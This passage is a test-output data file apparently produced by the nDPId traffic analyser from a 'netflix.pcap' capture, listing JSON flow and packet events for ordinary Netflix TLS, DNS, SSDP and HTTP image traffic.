zovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFT7VwP3gAABAMARjBEAiBT7hkbxWQQ0us\/9fqET+yBRh3qoP1KvY+Tx5akfVeUmgIgfvl3RC+dMVYHRS3GFl18scTh1dILLVXmSrC9I2670sEAdQCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAVPtXBAEAAAEAwBGMEQCIFUI+iXpXkkVBZ\/DvbNn7QYNrv4ZxNjtO3x6LBje4Pk="} +00817{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":330,"source":"netflix.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1484319036854,"flow_last_seen":1484319036889,"flow_tot_l4_data_len":1887,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"104.86.97.179","src_port":53141,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"art-s.nflximg.net","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"ef6b224ce027c8e21e5a25d8a58255a3","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02382{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":890024,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcfYFAADwGL8JoVmGzwKgBBwG7z5WR\/xxAFztWZ4AQA6s+6wAAAQEICgIza+gfZMc2qAIgEdjmRg5RSO48fGFNbe0p2qY5pTSrrwamzGxkSMk5QN0wDQYJKoZIhvcNAQELBQADggEBAGhj5qoVs52lQOb4fZ9uG5RkZGXN6NGP07\/Pouju0t7dBg\/gLGPtZ83fAke8\/o9S+xTozhqgx0n1qZnbv6aH\/BFUY1YvthNyGNVkk7jf1Ij1uE0EiPseeTK8aRr5R\/HkyWJQkmOld3oNAS+inZCnz9pJFRQCeU4a6cFl+Ci74I0sN5M9rWQsC9c8Ei\/wI2WcTFb93rbgjd2\/oIBhq26ybAsvWmGjy27PKu9TjS6cmpbQslxlrbwuqrTiIQWtbp1rqkKbtAxqkkeGmgtJZwPoJ3od77ro2IAHZ+UxpcJg1IfcFqI2Tr1Yq4Ylzfmsnf8kw\/+4xnKWDtMe1X85IP7QeM4ABRkwggUVMIID\/aADAgECAhAoLieReTOS5CjyIadOyTeuMA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFAMIIBPDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wEgYDVR0TAQH\/BAgwBgEB\/wIBADBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3Muc3ltY2IuY29tL3BjYTMtZzMuY3JsMA4GA1UdDwEB\/wQEAwIBBjApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vcy5zeW1jZC5jb20wDQYJKoZIhvcNAQELBQADggEBAFsXUr7WVnv09zQJS5bKx\/Yh0GmA7+eaGegk4n\/ZL2HdE+taZeThapDLTirpihbnUo32QxtHBQ2Ao6ia\/inTvB0o1aVK1HE8D3XFC3M\/AEhleQ2rah4="} +00425{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":894463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0EvZAAEAGnBXAqAEHaFZhs8+VAbsXO1Znkf8h6IAQD9KTjgAAAQEICh9kx0kCM2vo"} +01132{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":900382,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"5JjWH70UgCqoTGHMCABFIAI6fYJAADwGM2NoVmGzwKgBBwG7z5WR\/yHoFztWZ4AYA6v+\/QAAAQEICgIza+gfZMc2JQzAAt5mrL1LBmuaV4oqgX5nm7pSYHPEFfe7wVDJCKW6V0o6GxBzHOF7tpQDS65RsIJAOloknO4NWF2uuil6yjOesoHCL47BJ89A8AShP\/U3wsr8rFNtqVNpT+F2ZAwlgak3A\/I5czTSwXx4GByoaxbn5+CdKa\/Y5Gk5eZVpuXtcXQGc1PfzSEUTZJXXCm5y2kMiJG8+WnDcwJLgLeVX+OQrJ+71\/xuzAYN6FgMDAU0MAAFJAwAXQQQOYmnIer\/U7ctVgXU1Z7TTskG+xjwKHU7CPi9J2o6xtgml9BVpWSqeBT679amN26TbJcR\/wVj9alhIchJg2gvfBAEBAMbwBrE9Iyews0JuhWKQoSuE3WLm1YqntVdChljf\/v+XTsnCKMfMmgELPYM5r72Cp3HA2XXW+9bKhvwmktB82VyvtZFc8x\/RCE6KRO+dd6V3E5A8CZ8fWZgU61NvEybvsRI03HYMobrlm\/jIH8ydqCeTvykLQHxMLxVMkXLmiuMJjZJv6xV8cA62TFO18mR5QPRz+eBGrhbOUqfG5tjLQDuClfLAIrj1Kg6hc6IMzDjPz9dSscxdTFZR4GPGVe4AAbZEVJtrNIfp1HMES5kie2BcuxNBifEl1sxmQnCGePPo2W+Hr848A6GfTyGzUm2O6aMx5Pp\/wPlIqf2EUyIMH88WAwMABA4AAAA="} +01246{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":333,"source":"netflix.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":9,"flow_first_seen":1484319036854,"flow_last_seen":1484319036900,"flow_tot_l4_data_len":3949,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":438,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"104.86.97.179","src_port":53141,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"art-s.nflximg.net","server_names":"secure.cdn.nflximg.net,*.nflxext.com,*.nflxvideo.net,*.nflxsearch.net,*.nrd.nflximg.net,*.nflximg.net","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"ef6b224ce027c8e21e5a25d8a58255a3","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=Los Gatos, O=Netflix, Inc., OU=Content Delivery Operations, CN=secure.cdn.nflximg.net","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"0D:EF:D1:E6:29:11:1A:A5:88:B3:2F:04:65:D6:D7:AD:84:A2:52:26"}} +00426{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":901869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA08BhAAEAGvvLAqAEHaFZhs8+VAbsXO1Znkf8j7oAQD++RYQAAAQEICh9kx1MCM2vo"} +00533{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":918783,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/lQxAAEAGGbTAqAEHaFZhs8+VAbsXO1Znkf8j7oAYEABdYgAAAQEICh9kx2MCM2voFgMDAEYQAABCQQTUvej9xPWAD5BXDcd9Mm2jsAGMbgejFJsN9p9SRBtz8CmGw\/91ArywvHmIz5\/rwrA9y5wqrVuat\/5bLEDL4w0u"} +00434{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":919168,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6JLxAAEAGiknAqAEHaFZhs8+VAbsXO1aykf8j7oAYEAB44wAAAQEICh9kx2MCM2voFAMDAAEB"} +00489{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":920001,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABh\/9NAAEAGrwrAqAEHaFZhs8+VAbsXO1a4kf8j7oAYEAAD7AAAAQEICh9kx2MCM2voFgMDACjAQqP23DwVF4rKq5GugoI3GDRpXntYY6fq6aEsk7B4O65xPiL6OS9F"} +00427{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":931177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0fYNAADwGNWhoVmGzwKgBBwG7z5WR\/yPuFztWuIAQA6udGQAAAQEICgIzbBMfZMdj"} +00497{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":935911,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnfYRAADwGNTRoVmGzwKgBBwG7z5WR\/yPuFztW5YAYA6s44wAAAQEICgIzbBgfZMdjFAMDAAEBFgMDACjyM2bDQD2Z0vThgAgGpgbayHThFoX32sxQ35gfbLBsT7pRAXXiHaJl"} +00565{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319037,"pkt_ts_usec":897807,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACWcF0AAAERl1DAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00567{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319038,"pkt_ts_usec":4746,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/65JjWH70UCABFAACZdekAAAERkcHAqAEH7\/\/\/+tIQB2wAhUYzTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":516,"source":"netflix.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1484319034890,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"239.255.255.250","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":516,"source":"netflix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1484319030789,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00470{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":516,"source":"netflix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1484319030789,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":604,"source":"netflix.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1484319042988,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":59180,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319042,"pkt_ts_usec":988806,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"gCqoTGHM5JjWH70UCABFAABGkh4AAP8Rpi\/AqAEHwKgBAecsADUAMtLh8roBAAABAAAAAAAAB2FydHdvcmsEYWthbQduZmx4aW1nA25ldAAAAQAB"} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":604,"source":"netflix.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1484319042988,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":59180,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"artwork.akam.nflximg.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00538{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":2781,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"5JjWH70UgCqoTGHMCABFAACG4UVAAEAR1cjAqAEBwKgBBwA15ywAct6B8rqBgAABAAMAAAAAB2FydHdvcmsEYWthbQduZmx4aW1nA25ldAAAAQABwAwABQABAAAAUwAUBWExOTA3BGRzY2cGYWthbWFpwCHANgABAAEAAAAHAAS4GcwZwDYAAQABAAAABwAEuBnMCg=="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":609,"source":"netflix.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":2,"flow_first_seen":1484319042988,"flow_last_seen":1484319043002,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":50,"flow_max_l4_data_len":114,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":59180,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"artwork.akam.nflximg.net","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.25.204.25"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":610,"source":"netflix.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1484319043012,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.25","src_port":53148,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":610,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":12652,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA10xAAEAGHYnAqAEHuBnMGc+cAFC2IFmCAAAAALAC\/\/8TjwAAAgQFtAEDAwUBAQgKH2TelwAAAAAEAgAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":611,"source":"netflix.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1484319043013,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.25","src_port":53149,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":13015,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAkrpAAEAGYhvAqAEHuBnMGc+dAFDU44WRAAAAALAC\/\/\/IugAAAgQFtAEDAwUBAQgKH2TemAAAAAAEAgAA"} +00438{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":35100,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwG+Lm4GcwZwKgBBwBQz5xwDCo3tiBZg6AScSDeBAAAAgQFtAQCCAr\/\/DsdH2TelwEDAwU="} +00438{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":35720,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwG+Lm4GcwZwKgBBwBQz53Qk2dE1OOFkqAScSD1lgAAAgQFtAQCCAr\/\/DsiH2TemAEDAwU="} +00426{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":41595,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0zhNAAEAGJs7AqAEHuBnMGc+cAFC2IFmDcAwqOIAQEBVtuwAAAQEICh9k3rb\/\/Dsd"} +00426{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":42140,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0UPZAAEAGo+vAqAEHuBnMGc+dAFDU44WS0JNnRYAQEBWFTgAAAQEICh9k3rb\/\/Dsi"} +00757{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":68353,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"gCqoTGHM5JjWH70UCABFAAEq43RAAEAGEHfAqAEHuBnMGc+cAFC2IFmDcAwqOIAYEBUNzAAAAQEICh9k3rv\/\/DsdR0VUIC9hZjdhNS8zNjI2NDM0MjRlNzc1ZDAzOTNkZGI0NmUxNDVjMjM3NTM2N2FmN2E1LndlYnAgSFRUUC8xLjENCkhvc3Q6IGFydC0yLm5mbHhpbWcubmV0DQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUztxPTENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KVXNlci1BZ2VudDogQXJnby85LjEuMCAoaVBob25lOyBpT1MgMTAuMjsgU2NhbGUvMi4wMCkNCg0K"} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":626,"source":"netflix.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1484319043012,"flow_last_seen":1484319043068,"flow_tot_l4_data_len":394,"flow_min_l4_data_len":32,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.25","src_port":53148,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"art-2.nflximg.net","url":"art-2.nflximg.net\/af7a5\/362643424e775d0393ddb46e145c2375367af7a5.webp","code":0,"content_type":"","user_agent":"Argo\/9.1.0 (iPhone; iOS 10.2; Scale\/2.00)"}} +00758{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":78953,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"gCqoTGHM5JjWH70UCABFAAEp\/qdAAEAG9UTAqAEHuBnMGc+dAFDU44WS0JNnRYAYEBWe1gAAAQEICh9k3rz\/\/DsiR0VUIC81NzU4Yy9iYjYzNmU0NGI4N2VmODU0YzMzMWVkN2I3YjZlMTU3ZTQ5NDU3NThjLmpwZyBIVFRQLzEuMQ0KSG9zdDogYXJ0LTIubmZseGltZy5uZXQNCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTO3E9MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpVc2VyLUFnZW50OiBBcmdvLzkuMS4wIChpUGhvbmU7IGlPUyAxMC4yOyBTY2FsZS8yLjAwKQ0KDQo="} +00724{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":627,"source":"netflix.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1484319043013,"flow_last_seen":1484319043078,"flow_tot_l4_data_len":393,"flow_min_l4_data_len":32,"flow_max_l4_data_len":277,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.25","src_port":53149,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"art-2.nflximg.net","url":"art-2.nflximg.net\/5758c\/bb636e44b87ef854c331ed7b7b6e157e4945758c.jpg","code":0,"content_type":"","user_agent":"Argo\/9.1.0 (iPhone; iOS 10.2; Scale\/2.00)"}} 